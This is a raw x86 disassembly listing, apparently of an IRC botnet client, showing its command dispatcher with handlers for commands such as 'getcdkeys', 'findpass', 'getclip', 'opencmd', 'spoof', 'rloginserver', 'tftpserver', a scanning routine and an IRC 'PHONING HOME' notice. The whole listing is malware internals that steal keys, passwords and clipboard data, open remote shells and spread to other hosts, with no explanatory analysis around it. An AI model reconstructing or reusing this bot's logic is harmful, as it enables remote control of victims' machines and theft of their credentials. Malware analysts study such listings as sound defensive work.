		pop	ecx
		jz	loc_4043C2
		push	edi
		push	offset aAliases	; "aliases"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aAl	; "al"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40439F
		push	edi
		push	offset aLog	; "log"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aLg	; "lg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4042AC
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aClg	; "clg"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404293
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aNi	; "ni"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404259
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aSi	; "si"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40422E
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aLsp100	; "lsp100"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041F4
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aPs	; "ps"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040D1
		push	edi
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aKey	; "key"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4040B3
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aUp	; "up"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40402B
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40400E
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aDll	; "dll"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FF5
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FB6
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40340B
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C8BC
		push	offset dword_42C8B0
		jmp	loc_402B25
; ---------------------------------------------------------------------------


loc_40340B:				; CODE XREF: sub_401ACD+1924j
		push	edi
		push	offset dword_42C8AC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403528
		cmp	[ebp+var_8], ebx
		jnz	short loc_40343F
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C898
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_40343F:				; CODE XREF: sub_401ACD+1956j
		mov	eax, [ebp+arg_18]
		mov	[ebp+arg_20], ebx
		mov	[ebp+arg_18], eax
		jmp	short loc_40344D
; ---------------------------------------------------------------------------


loc_40344A:				; CODE XREF: sub_401ACD+19CCj
		mov	eax, [ebp+arg_18]


loc_40344D:				; CODE XREF: sub_401ACD+197Bj
		cmp	[eax], bl
		jz	short loc_403454
		inc	eax
		jmp	short loc_403459
; ---------------------------------------------------------------------------


loc_403454:				; CODE XREF: sub_401ACD+1982j
		mov	eax, offset aEmpty ; "<Empty>"


loc_403459:				; CODE XREF: sub_401ACD+1985j
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_20]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41B886
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	[ebp+arg_20]
		cmp	[ebp+arg_20], 3
		jl	short loc_40344A
		push	offset unk_42C864
		call	sub_4151AD
		pop	ecx


loc_4034A6:				; CODE XREF: sub_401ACD+1C5Bj
					; sub_401ACD+2F44j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_401E94
		push	edi
		push	offset aSpoof	; "spoof"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AF5
		mov	esi, [ebp+arg_10]
		push	offset aOff	; "off"
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404A23
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C830
		push	eax
		mov	dword_4CEE08, ebx
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_4034FE:				; CODE XREF: sub_401ACD+3023j
		cmp	[ebp+var_8], ebx
		jnz	loc_409855
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73


loc_403520:				; CODE XREF: sub_401ACD+7119j
		add	esp, 14h
		jmp	loc_409855
; ---------------------------------------------------------------------------


loc_403528:				; CODE XREF: sub_401ACD+194Dj
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aGc	; "gc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F75
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5E
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F26
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aCip	; "cip"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403EEC
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403DB1
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aHttp	; "http"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403C25
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403AEB
		push	edi
		push	offset aCrash	; "crash"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036B4
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C788
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403693
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403693:				; CODE XREF: sub_401ACD+1BA8j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		mov	[esp+10h+var_10], offset aCrash	; "crash"
		push	[ebp+esi+var_7C]
		call	sub_41C070
		jmp	loc_40207C
; ---------------------------------------------------------------------------


loc_4036B4:				; CODE XREF: sub_401ACD+1B90j
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aSa	; "sa"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4037E7
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403708
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_409A2D
		jmp	loc_401F52
; ---------------------------------------------------------------------------


loc_403708:				; CODE XREF: sub_401ACD+1C20j
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40372E
		push	edi
		push	offset aFp	; "fp"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034A6


loc_40372E:				; CODE XREF: sub_401ACD+1C4Aj
		push	[ebp+var_88]
		lea	eax, [ebp+var_F54]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_F58], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_ED0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_ECC], eax
		push	offset unk_42C71C
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B0F7
		add	esp, 18h
		mov	[ebp+var_ED4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_F58]
		push	ebx
		push	eax
		push	offset sub_416F1B
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_ED4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4037D6


loc_4037C0:				; CODE XREF: sub_401ACD+1D07j
		cmp	[ebp+var_EC8], ebx
		jnz	loc_4083BD
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_4037C0
; ---------------------------------------------------------------------------


loc_4037D6:				; CODE XREF: sub_401ACD+1CF1j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42C6E0
		jmp	loc_4083AE
; ---------------------------------------------------------------------------


loc_4037E7:				; CODE XREF: sub_401ACD+1BF6j
					; sub_401ACD+1C0Bj
		mov	al, byte_431CE2
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_431CE2
		jz	loc_401E94
		mov	ecx, edx


loc_4037FE:				; CODE XREF: sub_401ACD+1D39j
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037FE
		cmp	al, bl
		jz	loc_401E94
		mov	[ebp+arg_18], edx
		mov	esi, offset aF	; "#f"


loc_403818:				; CODE XREF: sub_401ACD+2009j
		push	0Bh
		call	sub_40B33F
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_403867
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C6A0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 20h
		jmp	loc_403ACD
; ---------------------------------------------------------------------------


loc_403867:				; CODE XREF: sub_401ACD+1D65j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_431B00, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_4038D8
		mov	edi, offset dword_431B00


loc_40389C:				; CODE XREF: sub_401ACD+1DEDj
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4038BE
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_40389C
		jmp	short loc_4038D8
; ---------------------------------------------------------------------------


loc_4038BE:				; CODE XREF: sub_401ACD+1DE3j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_431B00[ecx]
		mov	[ebp+var_74C], ecx


loc_4038D8:				; CODE XREF: sub_401ACD+1DC8j
					; sub_401ACD+1DEFj
		cmp	[ebp+var_74C], ebx
		jz	loc_403AE1
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], edi
		push	[ebp+arg_4]
		call	dword_4CB5F8
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CB6E0
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41B5F0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BE40
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_403980


loc_40395E:				; CODE XREF: sub_401ACD+1EB1j
		cmp	eax, ebx
		jz	short loc_403980
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41BE40
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_40395E


loc_403980:				; CODE XREF: sub_401ACD+1E8Fj
					; sub_401ACD+1E93j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_41B980
		push	offset dword_43D808
		push	esi
		call	sub_41C070
		add	esp, 14h
		test	eax, eax
		jz	short loc_4039E2
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_4039E8
; ---------------------------------------------------------------------------


loc_4039E2:				; CODE XREF: sub_401ACD+1F00j
		mov	[ebp+var_7D0], bl


loc_4039E8:				; CODE XREF: sub_401ACD+1F13j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039FA
		mov	eax, offset aSequential	; "Sequential"


loc_4039FA:				; CODE XREF: sub_401ACD+1F26j
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C620
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C33D
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403A84


loc_403A72:				; CODE XREF: sub_401ACD+1FB5j
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A9F
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_403A72
; ---------------------------------------------------------------------------


loc_403A84:				; CODE XREF: sub_401ACD+1FA3j
		nop
		call	near ptr 2680932h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C5E4
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403A9F:				; CODE XREF: sub_401ACD+1FABj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403AC0
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403AC0:				; CODE XREF: sub_401ACD+1FD5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_403ACD:				; CODE XREF: sub_401ACD+1D95j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403818
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_403AE1:				; CODE XREF: sub_401ACD+1E11j
		push	offset unk_42C5AC
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403AEB:				; CODE XREF: sub_401ACD+1B66j
					; sub_401ACD+1B7Bj
		push	5
		call	sub_40B33F
		test	eax, eax
		pop	ecx
		jle	short loc_403B01
		push	offset unk_42C58C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_403B01:				; CODE XREF: sub_401ACD+2028j
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403B24
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		jmp	short loc_403B38
; ---------------------------------------------------------------------------


loc_403B24:				; CODE XREF: sub_401ACD+203Dj
		mov	edi, 104h
		lea	eax, [ebp+var_2D50]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2670000h


loc_403B38:				; CODE XREF: sub_401ACD+2055j
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403B48
		mov	esi, offset byte_42910C


loc_403B48:				; CODE XREF: sub_401ACD+2074j
		push	esi
		lea	eax, [ebp+var_2C4C]
		push	edi
		push	eax
		call	sub_41B980
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B40],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B44],	ebx
		mov	[ebp+var_2D54],	eax
		lea	eax, [ebp+var_2B3C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2ABC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2AB8],	eax
		lea	eax, [ebp+var_2D50]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B40]
		push	offset unk_42C558
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B0F7
		add	esp, 1Ch
		mov	[ebp+var_2B48],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D54]
		push	ebx
		push	eax
		push	offset byte_411797
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_2B48]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403C14


loc_403BFE:				; CODE XREF: sub_401ACD+2145j
		cmp	[ebp+var_2AB4],	ebx
		jnz	loc_40828C
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_403BFE
; ---------------------------------------------------------------------------


loc_403C14:				; CODE XREF: sub_401ACD+212Fj
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42C51C
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_403C25:				; CODE XREF: sub_401ACD+1B3Cj
					; sub_401ACD+1B51j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403C44
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403C49
; ---------------------------------------------------------------------------


loc_403C44:				; CODE XREF: sub_401ACD+2161j
					; sub_401ACD+216Cj
		mov	eax, dword_42907C


loc_403C49:				; CODE XREF: sub_401ACD+2175j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36C8],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B4],	eax
		jz	short loc_403C7C
		lea	eax, [ebp+var_37CC]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	short loc_403CA7
; ---------------------------------------------------------------------------


loc_403C7C:				; CODE XREF: sub_401ACD+219Cj
		lea	eax, [ebp+var_4FF4]
		push	104h
		push	eax
		nop
		call	near ptr 26709BBh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4FF4]
		push	eax
		call	sub_41B9D1
		add	esp, 14h


loc_403CA7:				; CODE XREF: sub_401ACD+21ADj
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		cmp	[ebp+eax+var_37CD], 5Ch
		pop	ecx
		jnz	short loc_403CD2
		lea	eax, [ebp+var_37CC]
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+eax+var_37CD], bl


loc_403CD2:				; CODE XREF: sub_401ACD+21EFj
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A54]
		mov	[ebp+var_3A58],	esi
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36B8],	eax
		lea	eax, [ebp+var_37CC]
		mov	[ebp+var_36BC],	edi
		push	eax
		push	[ebp+var_36C8]
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4E0
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_36C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A58]
		push	ebx
		push	eax
		push	offset sub_40F0D6
		push	ebx
		push	ebx
		call	near ptr 2680000h
		nop
		mov	ecx, [ebp+var_36C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403D86


loc_403D74:				; CODE XREF: sub_401ACD+22B7j
		cmp	[ebp+var_36AC],	ebx
		jnz	short loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_403D74
; ---------------------------------------------------------------------------


loc_403D86:				; CODE XREF: sub_401ACD+22A5j
		nop
		call	near ptr 2680932h
		push	eax
		push	offset unk_42C4A4


loc_403D92:				; CODE XREF: sub_401ACD+241Aj
					; sub_401ACD+4D05j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_403DA1:				; CODE XREF: sub_401ACD+22ADj
					; sub_401ACD+23FEj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	edi
		jmp	loc_407286
; ---------------------------------------------------------------------------


loc_403DB1:				; CODE XREF: sub_401ACD+1B12j
					; sub_401ACD+1B27j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jz	short loc_403DD0
		push	edi
		call	sub_41B779
		pop	ecx
		jmp	short loc_403DD5
; ---------------------------------------------------------------------------


loc_403DD0:				; CODE XREF: sub_401ACD+22EDj
					; sub_401ACD+22F8j
		mov	eax, dword_429080


loc_403DD5:				; CODE XREF: sub_401ACD+2301j
		mov	[ebp+var_1824],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403DEC
		lea	eax, [ebp+var_C4]


loc_403DEC:				; CODE XREF: sub_401ACD+2317j
		push	eax
		lea	eax, [ebp+var_1964]
		push	40h
		push	eax
		call	sub_41B980
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403E0E
		mov	esi, offset dword_43D808


loc_403E0E:				; CODE XREF: sub_401ACD+233Aj
		push	esi
		lea	eax, [ebp+var_1924]
		push	100h
		push	eax
		call	sub_41B980
		add	esp, 0Ch
		lea	eax, [ebp+var_19E4]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1810],	eax
		lea	eax, [ebp+var_1964]
		push	eax
		mov	[ebp+var_19E8],	esi
		push	[ebp+var_1824]
		mov	[ebp+var_1814],	edi
		push	esi
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C468
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_1820],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19E8]
		push	ebx
		push	eax
		push	offset word_410A4E
		push	ebx
		push	ebx
		nop
		call	near ptr 2680000h
		mov	ecx, [ebp+var_1820]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_403EDB


loc_403EC5:				; CODE XREF: sub_401ACD+240Cj
		cmp	[ebp+var_180C],	ebx
		jnz	loc_403DA1
		push	32h
		nop
		call	near ptr 2670EC7h
		jmp	short loc_403EC5
; ---------------------------------------------------------------------------


loc_403EDB:				; CODE XREF: sub_401ACD+23F6j
		call	near ptr 2680932h
		nop
		push	eax
		push	offset unk_42C42C
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_403EEC:				; CODE XREF: sub_401ACD+1AE8j
					; sub_401ACD+1AFDj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EFF
		push	esi
		call	sub_41B779
		jmp	short loc_403F06
; ---------------------------------------------------------------------------


loc_403EFF:				; CODE XREF: sub_401ACD+2428j
		push	0Bh
		call	sub_40B35E


loc_403F06:				; CODE XREF: sub_401ACD+2430j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409855
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BA57
		jmp	loc_4043BA
; ---------------------------------------------------------------------------


loc_403F26:				; CODE XREF: sub_401ACD+1ABEj
					; sub_401ACD+1AD3j
		mov	eax, dword_4CB570
		cmp	eax, ebx
		jz	short loc_403F43
		call	eax
		test	eax, eax
		jz	short loc_403F3C
		push	offset unk_42C408
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F3C:				; CODE XREF: sub_401ACD+2466j
		push	offset unk_42C3DC
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F43:				; CODE XREF: sub_401ACD+2460j
		push	offset unk_42C3B0


loc_403F48:				; CODE XREF: sub_401ACD+246Dj
					; sub_401ACD+2474j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_406CDC
; ---------------------------------------------------------------------------


loc_403F5E:				; CODE XREF: sub_401ACD+1A94j
					; sub_401ACD+1AA9j
		call	sub_40AB32
		test	eax, eax
		jz	short loc_403F6E
		push	offset unk_42C38C
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	offset unk_42C360
		jmp	short loc_403F48
; ---------------------------------------------------------------------------


loc_403F75:				; CODE XREF: sub_401ACD+1A6Aj
					; sub_401ACD+1A7Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F94
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C348
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		add	esp, 14h


loc_403F94:				; CODE XREF: sub_401ACD+24ABj
		push	ebx
		push	[ebp+var_4]
		call	sub_4181D7
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A73
		push	offset dword_42C32C
		jmp	loc_404286
; ---------------------------------------------------------------------------


loc_403FB6:				; CODE XREF: sub_401ACD+18FAj
					; sub_401ACD+190Fj
		push	0Ah
		call	sub_40B33F
